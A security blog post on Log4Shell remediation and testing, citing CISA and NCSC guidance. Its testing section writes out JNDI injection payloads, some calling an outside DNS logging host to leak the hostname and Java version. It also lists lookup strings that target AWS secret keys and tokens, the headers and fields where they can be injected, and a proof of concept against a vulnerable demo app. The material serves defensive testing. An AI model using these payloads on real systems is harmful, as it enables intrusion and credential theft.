blog

Log4Shell – Updates and latest remediation/workflows

In the last few weeks, information security professionals have been fighting and updating systems like crazy.

Our deepest support goes to them and all the vendor e-mail that has gone around 🙂

We have instead been silent and helping organizations where they can and if they need more they can ask later (karma anyone )

Some good elements and flow have gone out to test for vulnerability

You can refer to the original existing report here and our overall vulnerability page updated with the latest data here

Recomandations

Some good news and attention from National Cyber Security Centre on cyber security impact. You can see the full post here

The challenges organisations face are, therefore:

  • asset inventory and application composition
  • where are deployed and how they get affected
  • prioritizing the ones that are internet-facing
  • monitor and threat model as well as real-world assessment (test and check if you see an answer back)

Mitigation and testing

We are maintaining a mindmap of resolution ourselves to track all the variation and remediation but most importantly how to tackle Vulnerability at scale

check the latest version of the vulnerable vendors

https://github.com/cisagov/log4j-affected-db

Mitigation and Update for Log4Shell

Updated: New Version of the mindmap with 2.17 based on the original version from ATOS

A good article from CISA on testing and several others have been published (some reference below. In general when testing verify that you get information in return and that the remote execution actually happens

CISA Workflow for false positive

A mindmap with some more details on all the various vulnerabilities that we are using internally to assess (one below for exploitation)

Another good workflow reference I’ve found is this one

Java Path

Testing recomandation

use strings in local to simulate your application or check DNS logs / local logs of application to see if the string was actually logged AND triggered a Remote code execution

confirmation that a lot of the bounty is spam detection

Simple Testing:

// if server in test is running on localhost curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}’

vs

${jndi:ldap://xxx${sys:java.version}.dnslog.cn/a}

in this way you can verify in the DNS log if the RCE was executed instead of just a string

another example of test is:

https://target.com/?test=${jndi:ldap://jv-${sys:java.version}-hh-${hostname}.DOMAIN.dnslog.cn/exp}

where DOMAIN is an example DNS subdomain as tested here using DNS Log

you should receive some information in your DNS with the string containing the java version of the hostname. This does not stop there and I’ve included the list of strings and where the payload can be injected

Some other payloads for injections:

Host info
${hostName}
${sys:user.name}
${sys:user.home}
${sys:os.name}
${sys:os.arch}
${sys:os.version}

Java info
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}

ENV info
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

Where you can inject

  • Email header
  • Username fields
  • Password fields
  • E-mail address
  • Filename fields
  • Query/Body
  • URL
  • File content,
  • Document/Image EXIF

Inside any of the following headers

AUTHORIZATION
CACHE-CONTROL
CF-CONNECTING_IP
CLIENT-IP
CONTACT
COOKIE
FORWARDED-FOR-IP
FORWARDED-FOR
FORWARDED
IF-MODIIED-SINCE
ORIGINATING-IP
REFER
TRUE-CLIENT-IP
USER-AGENT
X-API-VERSION
X-CLIENT-IP
X-FORWARDED-FOR
X-LEAKIX
X-ORIGINATING-IP
X-REAL-IP
X-REMOTE-ADDR
X-REMOTE-IP
X-WAP-PROFILE
AUTHOSIZATION: BASIC
AUTHOSIZATION: BEARER
AUTHOSIZATION: OAUTH
AUTHOSIZATION: TOKEN

Community edition to test

if you want to test a version of the vulnerability there is a vulnerable page available here:

Community driven POC

// 1. In a sandboxed terminal-1 (with docker daemon installed), run
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
// 2. Spawn another tab-2 to trigger the exploit
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'
// 3. Observe logs in terminal (1)
2021-12-11 11:01:05,99 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

Reference to christophetd’s vulnerable app.

Scanners Available:

Scan & Remediation

Just scan:

Read More

For more information look at log4shell summary page with details on the flow and the original post on the vulnerability

Other References

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://github.com/NCSC-NL/log4shell/blob/main/software/README.md

CISA: https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance

CISA Github: https://github.com/cisagov/log4j-affected-db

Apache Vuln page: https://logging.apache.org/log4j/2.x/security.html

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Discover and fix CVE-2024-3094 vulnerability affecting Linux distributions liblzma, part of the xz package, Fedora, openSUSE, Debian, and Kali. Get the latest updates, fixes, and security recommendations to safeguard your system against unauthorized access through compromised XZ Utils. Protect and discover the affected system with ASPM, Application security Posture management
Francesco Cipollone
Discover and fix CVE-2024-3094 vulnerability affecting Linux distributions liblzma, part of the xz package, Fedora, openSUSE, Debian, and Kali. Get the latest updates, fixes, and security recommendations to safeguard your system against unauthorized access through compromised XZ Utils. Protect and discover the affected system with ASPM, Application security Posture management
Francesco Cipollone
Discover and fix CVE-2024-3094 vulnerability affecting Linux distributions liblzma, part of the xz package, Fedora, openSUSE, Debian, and Kali. Get the latest updates, fixes, and security recommendations to safeguard your system against unauthorized access through compromised XZ Utils. Protect and discover the affected system with ASPM, Application security Posture management
Francesco Cipollone
Explore the interplay between the MITRE ATT&CK framework and EPSS for effective vulnerability management. Learn how these tools help predict and prioritize cyber threats, with deep dives into the most and least exploited techniques. Stay ahead in cybersecurity with Phoenix’s advanced analysis.
Francesco Cipollone

Derek Fisher

Head of product security at a global fintech

Derek Fisher – Head of product security at a global fintech. Speaker, instructor, and author in application security.

Derek is an award winning author of a children’s book series in cybersecurity as well as the author of “The Application Security Handbook.” He is a university instructor at Temple University where he teaches software development security to undergraduate and graduate students. He is a speaker on topics in the cybersecurity space and has led teams, large and small, at organizations in the healthcare and financial industries. He has built and matured information security teams as well as implemented organizational information security strategies to reduce the organizations risk.

Derek got his start in the hardware engineering space where he learned about designing circuits and building assemblies for commercial and military applications. He later pursued a computer science degree in order to advance a career in software development. This is where Derek was introduced to cybersecurity and soon caught the bug. He found a mentor to help him grow in cybersecurity and then pursued a graduate degree in the subject.

Since then Derek has worked in the product security space as an architect and leader. He has led teams to deliver more secure software in organizations from multiple industries. His focus has been to raise the security awareness of the engineering organization while maintaining a practice of secure code development, delivery, and operations.

In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

Jeevan Singh

Founder of Manicode Security

Jeevan Singh is the Director of Security Engineering at Rippling, with a background spanning various Engineering and Security leadership roles over the course of his career. He’s dedicated to the integration of security practices into software development, working to create a security-aware culture within organizations and imparting security best practices to the team.
In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

James Berthoty

Founder of Latio Tech

James Berthoty has over ten years of experience across product and security domains. He founded Latio Tech to help companies find the right security tools for their needs without vendor bias.

Christophe Parisel

Senior Cloud Security Architect

Senior Cloud Security Architect

Chris Romeo

Co-Founder
Security Journey

Chris Romeo is a leading voice and thinker in application security, threat modeling, and security champions and the CEO of Devici and General Partner at Kerr Ventures. Chris hosts the award-winning “Application Security Podcast,” “The Security Table,” and “The Threat Modeling Podcast” and is a highly rated industry speaker and trainer, featured at the RSA Conference, the AppSec Village @ DefCon, OWASP Global AppSec, ISC2 Security Congress, InfoSec World and All Day DevOps. Chris founded Security Journey, a security education company, leading to an exit in 2022. Chris was the Chief Security Advocate at Cisco, spreading security knowledge through education and champion programs. Chris has twenty-six years of security experience, holding positions across the gamut, including application security, security engineering, incident response, and various Executive roles. Chris holds the CISSP and CSSLP certifications.

Jim Manico

Founder of Manicode Security

Jim Manico is the founder of Manicode Security, where he trains software developers on secure coding and security engineering. Jim is also the founder of Brakeman Security, Inc. and an investor/advisor for Signal Sciences. He is the author of Iron-Clad Java: Building Secure Web Applications (McGraw-Hill), a frequent speaker on secure software practices, and a member of the JavaOne Rockstar speaker community. Jim is also a volunteer for and former board member of the OWASP foundation.

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.